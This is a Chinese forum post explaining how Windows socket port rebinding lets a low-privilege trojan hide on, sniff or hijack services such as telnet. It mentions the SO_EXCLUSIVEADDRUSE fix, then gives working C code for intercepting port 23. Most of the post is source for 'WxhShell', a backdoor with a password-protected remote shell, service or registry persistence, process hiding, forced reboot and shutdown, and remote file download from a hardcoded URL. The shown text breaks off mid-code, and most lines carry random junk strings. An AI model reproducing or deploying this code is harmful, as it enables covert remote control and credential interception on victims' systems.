社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14559阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >|[74#}7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5r:SBt|/  
n0T'"i[  
  saddr.sin_family = AF_INET; x@I(G "  
wM;9plYlw0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lF\oEMd*  
~ZSP K;D[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,\|W,N}~  
H?P:;1A]c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^/3R/;?  
,4-)  e  
  这意味着什么?意味着可以进行如下的攻击: 76\ir<1up  
;-d }\f ,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T>&d/$;]  
;^Vsd\ac0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XM$HHk}L;  
['MG/FKuv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T #&9|  
6BihZ|H04  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t]~L o3  
[=Y@Ul  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Wb] ha1$  
wjF/c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 IRemF@  
xq2{0q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ThX%Uzd"[;  
&k /uR;yw  
  #include  eU"!X9  
  #include vr|9NP]v  
  #include 'b#`8k~>  
  #include    h&+dIk\[3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zo-hH8J:  
  int main() fPf8hz>  
  { #YM5P  
  WORD wVersionRequested; C`z[25o  
  DWORD ret; 8,pnm  
  WSADATA wsaData; \ %Er%yv)  
  BOOL val; 5Xu2MY=  
  SOCKADDR_IN saddr; ZR<T\w  
  SOCKADDR_IN scaddr; c rPEr  
  int err; VLuhURI)  
  SOCKET s; PpD ?TAlA  
  SOCKET sc; Z~o6%_xe  
  int caddsize; Y '&&1 R  
  HANDLE mt; cF9bSY_Eh  
  DWORD tid;   5w)tsGX\  
  wVersionRequested = MAKEWORD( 2, 2 ); 4k5X'&Q  
  err = WSAStartup( wVersionRequested, &wsaData ); =EI>@Y"  
  if ( err != 0 ) { TT3GFP  
  printf("error!WSAStartup failed!\n"); )-q#hY  
  return -1; n=#AH;42  
  } n`Pwo &  
  saddr.sin_family = AF_INET; *HFRG)[V  
   fmf3Hp@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'M>QA"*48E  
U}ei2q\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {3F;:%$`c  
  saddr.sin_port = htons(23); p R=FH#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @:u>  
  { qjQR0M C  
  printf("error!socket failed!\n"); sdF;H[  
  return -1; h+)XLs  
  } o2  
  val = TRUE; A)9OkLrc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 n1+1/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F !DDlYUz.  
  { tHAr9  
  printf("error!setsockopt failed!\n"); 'B dZN  
  return -1; &)[?D<  
  } s8L=:hiSf)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dU`kJ,=Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Fk(nf9M%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 28,Hd!{  
m)l<2 `CM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z,pKy Inw  
  { v_M-:e3`  
  ret=GetLastError(); oYOR%'0*m+  
  printf("error!bind failed!\n"); ?=zF]J:G1w  
  return -1; MIa#\tJj  
  } :;Z?2P5i  
  listen(s,2); Cngi5._Lb  
  while(1) AA=zDB<N  
  { 8@b,>l$  
  caddsize = sizeof(scaddr); t&5N{C:  
  //接受连接请求 yW3!V-iA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y:f"Zx  
  if(sc!=INVALID_SOCKET) N_jpCCG~  
  { "[A]tklP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -|F(qf  
  if(mt==NULL) 1ym^G0"s  
  { i 'bviD  
  printf("Thread Creat Failed!\n"); jEK{QOq0  
  break; bhk:Szqz  
  } i|N%dl+T=  
  } iO$Z?Dyg9  
  CloseHandle(mt); \%],pZsA~  
  } i&K-|[3{g  
  closesocket(s); #bIUO2yVo  
  WSACleanup(); w?eJVi@w{  
  return 0; IOL5p*:gz  
  }   \S5YS2,P  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y8i'=Po%,  
  { p.%lE! v  
  SOCKET ss = (SOCKET)lpParam; vZ6_/ew8  
  SOCKET sc; FaA'%P@  
  unsigned char buf[4096]; ,F;<Y9]  
  SOCKADDR_IN saddr; fx74h{3u  
  long num; w'i8yl bZ  
  DWORD val; xZ=6  
  DWORD ret; N6R0$Br  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Zqi;by%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NzBX2  
  saddr.sin_family = AF_INET; [D$% LRX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V;N'?Gu  
  saddr.sin_port = htons(23); S+*%u/;l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,$oz1,Q/  
  { o],z/MPL  
  printf("error!socket failed!\n"); 7 'B9z/  
  return -1; 1b` `y  
  } @Jh;YDr`A  
  val = 100; ! <O,xI'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c{(4s6D  
  { (@(rz/H  
  ret = GetLastError(); 35}]U=  
  return -1; [kp#  
  } >Y)FoHa+/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dN)@/R^E;  
  { w8KVs\/  
  ret = GetLastError(); +Rq7m]  
  return -1; <c!I\y  
  } oMV^W^<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n&fV^ x  
  { o|njgmF;\  
  printf("error!socket connect failed!\n"); K /A1g.$  
  closesocket(sc); R64/m9  
  closesocket(ss); /4{.J=R}  
  return -1; L9bIdiB7  
  } {0J (=\u  
  while(1)  ~=Q|EhF5  
  { mA" 82"   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .NX>d@ Kc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 W^T6^q5;H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o4d[LV4DS  
  num = recv(ss,buf,4096,0); %:=Jr#a  
  if(num>0) K[Ao_v2g  
  send(sc,buf,num,0); }DzN-g<K  
  else if(num==0) 48W-Tf6v|  
  break; a";xG,U  
  num = recv(sc,buf,4096,0); Q"D%xY  
  if(num>0) c&>==pI]k  
  send(ss,buf,num,0); PTf.(B"z  
  else if(num==0) ;Y"*Z2U  
  break; ZnXq+^ Z4  
  } 4K<T_B/  
  closesocket(ss); &-B&s.,kj  
  closesocket(sc); {z0PB] U  
  return 0 ; h_?#.z0ih;  
  } nq3B(  
B>{\qj)%  
]>'yt #]  
========================================================== =F>nqklc  
U.0bbr  
下边附上一个代码,,WXhSHELL r\f|r$i  
;DN:AgXP  
========================================================== a8[Q1Fa4|  
%m0x]  
#include "stdafx.h" C~([aH@-I  
mzoNXf:x  
#include <stdio.h> {I~[a#^  
#include <string.h> K-f\nr  
#include <windows.h> R$xkcg2(  
#include <winsock2.h> g"&e*fF  
#include <winsvc.h> jpW(w($XL  
#include <urlmon.h> 2`]_c=  
z,#3YC{'  
#pragma comment (lib, "Ws2_32.lib") ;th]/ G  
#pragma comment (lib, "urlmon.lib") $h|rd+},  
^FZ7)T  
#define MAX_USER   100 // 最大客户端连接数 0Fi&7%  
#define BUF_SOCK   200 // sock buffer ~RS^O poa  
#define KEY_BUFF   255 // 输入 buffer <(<19t5.  
c?1 :='MC  
#define REBOOT     0   // 重启 bAl0z)p  
#define SHUTDOWN   1   // 关机 ;n-IpR#|  
`'^&* 7,  
#define DEF_PORT   5000 // 监听端口 *;I F^u1  
[Y^1}E*  
#define REG_LEN     16   // 注册表键长度 mlmXFEC  
#define SVC_LEN     80   // NT服务名长度 :/ yR  
Gr a(DGX  
// 从dll定义API d{LQr}_o$$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k-M-=VvA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xp>p#c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZdJer6:Z}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 389puDjy  
U.@j !UrZ  
// wxhshell配置信息 VC6S4FU4K  
struct WSCFG { g}hR q%  
  int ws_port;         // 监听端口 sN `NZyG  
  char ws_passstr[REG_LEN]; // 口令 =k(~PB^>  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y}C~&Ph  
  char ws_regname[REG_LEN]; // 注册表键名 {=NHidi~  
  char ws_svcname[REG_LEN]; // 服务名 |5}~n"R5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Kb#}f/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v$`AN4)}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *<**rY*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L/.$0@$bv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Czs4jHTa`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8'2lc  
fi[c^e+IX  
}; g8{?;  
3}H"(5dL}z  
// default Wxhshell configuration jnK8 [och  
struct WSCFG wscfg={DEF_PORT, Ge|& H]W  
    "xuhuanlingzhe", T1y,L<7?  
    1, &B^vHH  
    "Wxhshell", NAj1ORy4pX  
    "Wxhshell", I [J0r  
            "WxhShell Service", .bOueB-  
    "Wrsky Windows CmdShell Service", d8b'Gjwtw  
    "Please Input Your Password: ", 27vLI~  
  1, m<BL/ 7  
  "http://www.wrsky.com/wxhshell.exe", j/bebR}X  
  "Wxhshell.exe" Musz+<]  
    }; X,/@#pSOz  
#4{f2s[j6  
// 消息定义模块 6qK0G$>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @NXGVmY1}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NA`3   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yKO84cSl  
char *msg_ws_ext="\n\rExit."; hnM|=[wM  
char *msg_ws_end="\n\rQuit."; y @AKb  
char *msg_ws_boot="\n\rReboot..."; E0c5c  
char *msg_ws_poff="\n\rShutdown..."; P Z-|W  
char *msg_ws_down="\n\rSave to "; }Kq5!XJV9C  
$&m^WrZaY  
char *msg_ws_err="\n\rErr!"; }[PbA4l.g  
char *msg_ws_ok="\n\rOK!"; AQ-P3`bCb  
L_jwM ^8  
char ExeFile[MAX_PATH]; joifIp_  
int nUser = 0; }0uSm%,"  
HANDLE handles[MAX_USER]; ^Y xqJy  
int OsIsNt; {"e/3  
.9 WUp>  
SERVICE_STATUS       serviceStatus; c?d+>5"VX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {R[lsdH(X  
h^$>{0"  
// 函数声明 ?M7nbfy[A@  
int Install(void); DB_ x  
int Uninstall(void); E8>npDFv.  
int DownloadFile(char *sURL, SOCKET wsh); H(]lqvO  
int Boot(int flag); "G|Gyc  
void HideProc(void); oC U8;z  
int GetOsVer(void); Yh:*.@  
int Wxhshell(SOCKET wsl); )G ,LG0"-  
void TalkWithClient(void *cs); XFmnZpqXH  
int CmdShell(SOCKET sock); (H+'sf^h  
int StartFromService(void); '[5tc fG#z  
int StartWxhshell(LPSTR lpCmdLine); 8ne'x!1 D  
]-)qL[Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n=t%,[Op  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ms ;RJT2O'  
>Z|4/PF  
// 数据结构和表定义 -H.;73Kb[  
SERVICE_TABLE_ENTRY DispatchTable[] = "=| yM~V  
{ "6pjkEt4  
{wscfg.ws_svcname, NTServiceMain}, Y!o@"Ct  
{NULL, NULL} ~AK!_EOs`  
}; h+.^8fPR   
l},px  
// 自我安装 fdd3H[  
int Install(void) Z#>k:v  
{ 5 qG7LO.  
  char svExeFile[MAX_PATH]; X.Z?Ie  
  HKEY key; v1 oSf  
  strcpy(svExeFile,ExeFile); QE)g==d  
'L3 \I  
// 如果是win9x系统,修改注册表设为自启动 R) @ k|  
if(!OsIsNt) { s/sH",  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [b;Oalw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <ze' o.c  
  RegCloseKey(key); f#JLE+0Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9KXp0Q?-$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "!Mu5Ga  
  RegCloseKey(key); (: ZOoL  
  return 0; c q3C N@  
    } }(M<sEK~  
  } rM bb%d:  
} %iD>^Dp  
else { fU)hn  
m(g$T  
// 如果是NT以上系统,安装为系统服务 ~`-9i{L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )\VUAD%~e7  
if (schSCManager!=0) u0XGtu$4  
{ VIi|:k  
  SC_HANDLE schService = CreateService i,4JS,82I  
  ( w0*6GCP  
  schSCManager, 'd6hQ4Vw4  
  wscfg.ws_svcname, 7)_0jp~2  
  wscfg.ws_svcdisp, JxD@y}ZYE  
  SERVICE_ALL_ACCESS, 'a"<uk3DT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D;d;:WT5  
  SERVICE_AUTO_START, 7ky(g'  
  SERVICE_ERROR_NORMAL, jjl4A} *0  
  svExeFile, j*xens$)  
  NULL, h Qu9ux  
  NULL, })!n1kt  
  NULL, ]"CA P%  
  NULL, o@pM??&x  
  NULL 89 fT?tT  
  ); |{oKhC^yG  
  if (schService!=0) " *Ni/p$I  
  { F=P|vYL&&  
  CloseServiceHandle(schService); cJ[n<hTv  
  CloseServiceHandle(schSCManager); 5utj$ha2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (1jkZ^7  
  strcat(svExeFile,wscfg.ws_svcname); ;H\,w /E9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xq)'p8C?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^R<= }  
  RegCloseKey(key); `L;I/Hp  
  return 0; eq4<   
    } +[F9Q,bH@b  
  } {O^1WgGc[  
  CloseServiceHandle(schSCManager); YK[O#V  
} *i$+i  
} 3(PU=  
,5L &$Q6  
return 1; "?S#vUS+ 2  
} dG)A-qbV  
[yVU p+  
// 自我卸载 xHL{3^  
int Uninstall(void) J J3vC  
{ XM=`(e o  
  HKEY key; P)}:lTe  
u>? VD%  
if(!OsIsNt) { E=x\f "Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { % vP{C  
  RegDeleteValue(key,wscfg.ws_regname); 8?)Da&+f  
  RegCloseKey(key); MBwp{ET!p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T!*7G:\f"  
  RegDeleteValue(key,wscfg.ws_regname); <QJmdcG  
  RegCloseKey(key); -pjL7/gx  
  return 0; j5HOdy2  
  } |mM7P^I  
} j1d=$'a "  
} O'mX7rY<<(  
else { +ypT"y  
x)GoxH~#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I7Eg$J&  
if (schSCManager!=0) ahf$#UQLb  
{ AV&eg e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #".{i+3E  
  if (schService!=0) lA ,%'+-  
  { ![V<vIy  
  if(DeleteService(schService)!=0) { ']rh0?  
  CloseServiceHandle(schService); q6DhypB  
  CloseServiceHandle(schSCManager); J7maG|S(DF  
  return 0; ~/Ry=8   
  } ~/.&Z`ls  
  CloseServiceHandle(schService); Xgl>kJy<#  
  } }@#e D  
  CloseServiceHandle(schSCManager); . =+7H`A  
} &=UzF  
} lWdE^-  
bEE:6)]G  
return 1; |_rj 12.xo  
} Gm%[@7-  
[v&_MQ  
// 从指定url下载文件 M6I1`Lpf  
int DownloadFile(char *sURL, SOCKET wsh) J|b1 K]  
{ N" 8o0>  
  HRESULT hr; <)&ykcB  
char seps[]= "/"; ULJI` I|m  
char *token; Y#m0/1-  
char *file; o60wB-y  
char myURL[MAX_PATH]; `BvcI n4do  
char myFILE[MAX_PATH]; i a|F  
^aC[Z P:  
strcpy(myURL,sURL); 1ERz:\  
  token=strtok(myURL,seps); $@NZ*m%?JQ  
  while(token!=NULL) FJ!>3V;}  
  { V?gQ`( ,  
    file=token; qzLRA.#f^  
  token=strtok(NULL,seps); 3! +5MsR+  
  }  ;js7rt  
J>'o,"D  
GetCurrentDirectory(MAX_PATH,myFILE); Y'Af I^K  
strcat(myFILE, "\\"); 1zM`g_(#  
strcat(myFILE, file); 78Gvc~j  
  send(wsh,myFILE,strlen(myFILE),0); m ;KP  
send(wsh,"...",3,0); $W2g2[+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l(`w]=t&  
  if(hr==S_OK) x;SrJVDN  
return 0; E*ic9Za8`h  
else q4Z \y  
return 1; Uarb [4OZ  
-8o8l z  
} f;b(W  
hZFbiGQr\  
// 系统电源模块 (;n|>l?*  
int Boot(int flag) &x;nP6mV  
{ lDH0bBmd0  
  HANDLE hToken; o1Xk\R{  
  TOKEN_PRIVILEGES tkp; "[8](3\v  
e"b F"L  
  if(OsIsNt) { z!1j8o2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -r,J>2`l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 06ueE\@Sg  
    tkp.PrivilegeCount = 1; v-l):TL+=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A>PM'$"sT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qvt~wJf<  
if(flag==REBOOT) { >GjaA1,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W w8[d  
  return 0; ="u(o(j"  
} $0wl=S  
else { hA"N&v~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mpj3<vj   
  return 0; 9(iJ=ao (  
} F;z FKvn  
  } Y, 0O&'>  
  else { ^C'k.pV n~  
if(flag==REBOOT) { H7{ 6t(0j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <y!BO  
  return 0; /yI~(8bO  
} }^QY<Cp|  
else { r)b`3=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a-YK*  
  return 0; <oR Nd3d  
} KN%Xp/lkX  
} d8x$NW-s  
aMHIOA%Kh  
return 1; :H?p^d e  
} wPW9bu  
YZoH{p9f  
// win9x进程隐藏模块 *+J&ebSTN  
void HideProc(void) S</" ^C51J  
{ ]{y ';MZ  
Z|j8:Ohz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?5->F/f&  
  if ( hKernel != NULL ) Z1>pOJm  
  { ;`xu)08a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -m__I U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T? =jKLPC  
    FreeLibrary(hKernel); !E*-\}[  
  } B[Tw0rQ  
gHm ^@  
return; !867DX3*  
} fs`<x*}K  
#S1)n[  
// 获取操作系统版本 Ru sa &#[  
int GetOsVer(void) a1Gy I  
{ K&S~IFy  
  OSVERSIONINFO winfo; Ds-%\@p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iPs()IN.O  
  GetVersionEx(&winfo); xxedezNko  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Maq{H`  
  return 1; SR\#>Qwx_  
  else bb#w]!q  
  return 0; H{+U; 6b  
} gsAcn  
'r'uR5jR  
// 客户端句柄模块 'QkL%z0  
int Wxhshell(SOCKET wsl) ^91k@MC  
{ 1*=[% d7  
  SOCKET wsh; JM M\  
  struct sockaddr_in client; AA@J~qd u  
  DWORD myID; #$#{QEh0}  
578Dl(I#)  
  while(nUser<MAX_USER) T9(~^}_+9  
{ 5#iv[c  
  int nSize=sizeof(client); 1 iE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0w\gxd~'  
  if(wsh==INVALID_SOCKET) return 1; S__ o#nf`%  
QPGssQR6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :k JSu{p  
if(handles[nUser]==0) :yw0-]/DD  
  closesocket(wsh); $3FFb#r  
else <iL+/^#  
  nUser++; C YnBZ  
  } (z"Cwa@e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X, J.!:4`  
)L^WD$"'Q  
  return 0; D?9 =q  
} c?[A  
-B@jQg@ >  
// 关闭 socket -V<i4X<|,+  
void CloseIt(SOCKET wsh) ,A_itRHH  
{ PN<Y&/fB  
closesocket(wsh); C[wnor!  
nUser--; {KODwP'~  
ExitThread(0); eZf-i1lJ  
} `yc .A%5  
haB$W 4x  
// 客户端请求句柄 g pO@xk$  
void TalkWithClient(void *cs) IDcu#Nz`  
{ pcL02W|J  
&oNy~l o  
  SOCKET wsh=(SOCKET)cs; TN` pai0  
  char pwd[SVC_LEN]; w Gw}a[a  
  char cmd[KEY_BUFF]; r@wWGbQ|L  
char chr[1]; ,TP^i 0  
int i,j; dB< \X.   
UPLr[ >Q#  
  while (nUser < MAX_USER) { kvryDM  
9e.n1  
if(wscfg.ws_passstr) { H@OYtPHGR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2<U5d`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1G$kO90  
  //ZeroMemory(pwd,KEY_BUFF); j2tw`*S+  
      i=0; `}Q+:  
  while(i<SVC_LEN) { Z'!jZF~4p  
[bE9Y;  
  // 设置超时 7?B]X%  
  fd_set FdRead; fv#e 8y  
  struct timeval TimeOut; 4B!]%Mw;c  
  FD_ZERO(&FdRead); %vn rLt$  
  FD_SET(wsh,&FdRead); Pxy(YMv  
  TimeOut.tv_sec=8; aRg- rz  
  TimeOut.tv_usec=0; RIb< 7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wGAN"K:e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Nqewtn9n  
a&4>xZU #  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X]Sr]M^EK  
  pwd=chr[0]; j {S\X'?  
  if(chr[0]==0xd || chr[0]==0xa) { CKrh14ul  
  pwd=0; 3|g'1X}  
  break; ; #e-pkV  
  } 1%EIP -z  
  i++; *#dXW\8qu  
    } ^]AjcctGr  
Ku56TH!Py  
  // 如果是非法用户,关闭 socket y}nM'$p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !9OAMHa*9  
} cfa#a!Y4  
F(}d|z@@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `N ;!=7y7Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); + ECV|mkk  
A:& `oJl  
while(1) { DJT)7l{  
J1P82=$,  
  ZeroMemory(cmd,KEY_BUFF); I?Eh 0fI  
HO}aLp  
      // 自动支持客户端 telnet标准   __'Z0?.4#  
  j=0; jpT!di  
  while(j<KEY_BUFF) { noGMfZ1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fu!:8Wp!(  
  cmd[j]=chr[0]; H Viu7kue`  
  if(chr[0]==0xa || chr[0]==0xd) { v #IC  
  cmd[j]=0; c[@>#7p`o  
  break; qS+'#Sn  
  } OA&NWAm4  
  j++; * vEG%Y  
    } 31<hn+pE &  
$1#|<|  
  // 下载文件 ^~eT# Y8  
  if(strstr(cmd,"http://")) { ;x| 4Tm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =KMd! $J\  
  if(DownloadFile(cmd,wsh)) Vy&F{T;$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %t:1)]2  
  else m -7^$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !A&Vg #  
  } wF$8#=  
  else { *M6M'>Tin  
=DG aK0n  
    switch(cmd[0]) { h:Npi `y  
  z2wR]G5!  
  // 帮助 mzfj!0zR*  
  case '?': { FV!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /M\S^ !g@  
    break; xBR2tDi%  
  } \[ +ZKj:  
  // 安装 (*^_ wq-;  
  case 'i': { 'hg, W]  
    if(Install()) F#O.i,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); onHUi]yYu{  
    else FwmE1,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *`=V"nXw$|  
    break; %l5Uy??Z  
    } _+.z2} M  
  // 卸载 vEW;~FLd  
  case 'r': { xH; 4lw  
    if(Uninstall()) cQS}pQyYN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V~NS<!+q  
    else +8mfq\ Y1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gV$Lfkz  
    break; "a>%tsl$K  
    } !NZFo S~  
  // 显示 wxhshell 所在路径 s{Ryh.IyI  
  case 'p': { OAc+LdT  
    char svExeFile[MAX_PATH]; L#m1!+J  
    strcpy(svExeFile,"\n\r"); $NT{ssh  
      strcat(svExeFile,ExeFile); \b{=&B[Q$'  
        send(wsh,svExeFile,strlen(svExeFile),0); `?2S4lN/  
    break; oypX.nye_  
    } drNfFx 2  
  // 重启 maXQG&.F  
  case 'b': { QVQe9{ "0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !C&}e8M|eX  
    if(Boot(REBOOT)) $l7 <j_C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7K%Ac  
    else { X3<<f`X  
    closesocket(wsh); @0-<|,^]  
    ExitThread(0); FJ}/g ?  
    } _LCK|H%v'  
    break; #92MI#|n9  
